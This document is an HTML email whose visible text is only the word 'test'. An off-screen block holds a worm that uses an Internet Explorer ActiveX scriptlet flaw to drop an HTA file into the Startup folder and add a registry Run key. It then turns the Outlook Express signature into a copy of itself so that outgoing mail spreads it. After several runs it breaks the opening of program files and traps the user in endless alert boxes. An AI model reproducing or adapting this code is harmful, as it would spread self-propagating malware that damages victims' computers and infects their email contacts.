<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content="text/html; charset=iso-8859-1" http-equiv=Content-Type>
<META content="MSHTML 5.00.2614.3500" name=GENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=#ffffff>
<DIV><FONT face=Arial size=2>test</FONT></DIV>
<DIV>
<DIV style="POSITION: absolute; RIGHT: 0px; TOP: -20px; Z-INDEX: 5">
<OBJECT classid=clsid:06290BD5-48AA-11D2-8432-006008C3FBFC
id=scr></OBJECT></DIV>
<SCRIPT><!--
function sE(){return true;}window.onerror=sE;scr.Reset();scr.doc="Z<HTML><HEAD><TITLE>.</"+"TITLE><HTA:APPLICATION ID=\\\"hO\\\" WINDOWSTATE=Minimize></"+"HEAD><BODY><object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></"+"object><script>fs=new ActiveXObject('Scripting.FileSystemObject');wc='C:\\\\Windows\\\\';ae='C:\\\\Autoexec.bat';f1=wc+'STARTM~1\\\\Programs\\\\StartUp\\\\Exec.hta';fl=fs.GetFolder(wc+'Applic~1\\\\Identities');sbf=fl.SubFolders;for(var mye=new Enumerator(sbf);!mye.atEnd();mye.moveNext())idd=mye.item();ids=new String(idd);idn=ids.slice(31);gt=wc+'System\\\\G6D9.fld';if(fs.FileExists(gt)){as=fs.OpenTextFile(gt,1);gh=as.ReadAll();as.close();as=fsOpenTextFile(gt,2);gh++;as.WriteLine(gh);as.close();}else{pol=fs.CreateTextFile(gt);pol.WriteLine('0');pol.close();fs.GetFile(gt).Attributes=2;gh=0;}f2=wc+'System\\\\exec.hta';if(fs.FileExists(f2)){}else{fs.CopyFile(f1,f2);fs.GetFile(f2).Attributes=2;}fr=wc+'exc.reg';reg=fs.CreateTextFile(fr);reg.WriteLine('REGEDIT4');reg.WriteBlankLines(1);reg.Writeline('[HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run]');reg.Writeline('\"Exec\"=\"C:\\\\\\\\Windows\\\\\\\\System\\\\\\\\exec.hta\"');reg.WriteBlankLines(1);ky='[HKEY_CURRENT_USER\\\\Identities\\\\'+idn+'\\\\Software\\\\Microsoft\\\\Outlook Express\\\\5.0';sg='\\\\signatures';reg.WriteLine(ky+sg+']');reg.Write('\"Default Signature\"=\"00000000\"');reg.WriteBlankLines(2); reg.WriteLine(ky+sg+'\\\\00000000]'); reg.WriteLine('\"name\"=\"My Signature\"');reg.WriteLine('\"type\"=dword:00000002'); reg.WriteLine('\"text\"=\"\"');reg.Write('\"file\"=\"C:\\\\\\\\WINDOWS\\\\\\\\Exc.htm\"'); reg.WriteBlankLines(2);reg.WriteLine(ky+']');reg.Write('\"Signature Flags\"=dword:00000003');reg.WriteBlankLines(2);reg.close();fs.GetFile(fr).Attributes=2;wsh.Run(wc+'Regedit.exe -s '+fr);if(gh==0){df=fs.OpenTextFile(ae,8);df.WriteLine('del '+f1);df.Close();}if(gh>9){b=fs.CreateTextFile(\"C:\\\\Windows\\\\execfall.reg\");b.WriteLine('REGEDIT4');b.WriteBlankLines(1);b.WriteLine('[HKEY_CLASSES_ROOT\\\\exefile\\\\shell\\\\open\\\\command]');b.WriteLine('@=\"C:\\\\\\\\Windows\\\\\\\\notepad.exe\"');b.Close();wsh.Run(wc+'Regedit.exe -s C:\\\\Windows\\\\execfall.reg');while(true){alert(\"Executive Fallout\");}}t3=fs.CreateTextFile(wc+'Exc.htm',1);fs.GetFile(wc+'Exc.htm').Attributes=2;t3.Write('<HTML><BODY><DIV style=\"POSITION:absolute;RIGHT:0px;TOP:-20px;Z-INDEX:5\"><OBJECT classid=clsid:06290BD5-48AA-11D2-8432-006008C3FBFC id=scr></"+"OBJECT></"+"DIV>');t4=fs.OpenTextFile(f2,1);while(t4.Read(1)!='Z');t3.WriteLine('<SCRIPT><!--');t3.write('function sE(){return true;}window.onerror=sE;scr.Reset();scr.doc=\"Z');rs=t4.ReadAll();t4.close();rd=/\\\\/g;re=/\"/g;rf=/<\\//g;rt=rs.replace(rd,'\\\\\\\\').replace(re,'\\\\\"').replace(rf,'</"+"\"+\"');t3.WriteLine(rt+'\";la=(navigator.systemLanguage)?navigator.systemLanguage:navigator.language;scr.Path=(la==\"fr\")?\"C:\\\\\\\\windows\\\\\\\\Menu Démarrer\\\\\\\\Programmes\\\\\\\\Démarrage\\\\\\\\Exec.hta\":\"C:\\\\\\\\windows\\\\\\\\Start Menu\\\\\\\\Programs\\\\\\\\StartUp\\\\\\\\Exec.hta\";agt=navigator.userAgent.toLowerCase();if(((agt.indexOf(\"msie\")!=-1)&&(parseInt(navigator.appVersion)>4))||(agt.indexOf(\"msie 5.\")!=-1))scr.write();');t3.write('//--></"+"'+'SCRIPT></"+"'+'OBJECT></"+"'+'BODY></"+"'+'HTML>');t3.close();self.close();</"+"script>-MassMurderer</"+"BODY></"+"HTML>WW";la=(navigator.systemLanguage)?navigator.systemLanguage:navigator.language;scr.Path=(la=="fr")?"C:\\windows\\Menu Démarrer\\Programmes\\Démarrage\\Exec.hta":"C:\\windows\\Start Menu\\Programs\\StartUp\\Exec.hta";agt=navigator.userAgent.toLowerCase();if(((agt.indexOf("msie")!=-1)&&(parseInt(navigator.appVersion)>4))||(agt.indexOf("msie 5.")!=-1))scr.write();
//--></SCRIPT>
</OBJECT></DIV></BODY></HTML>

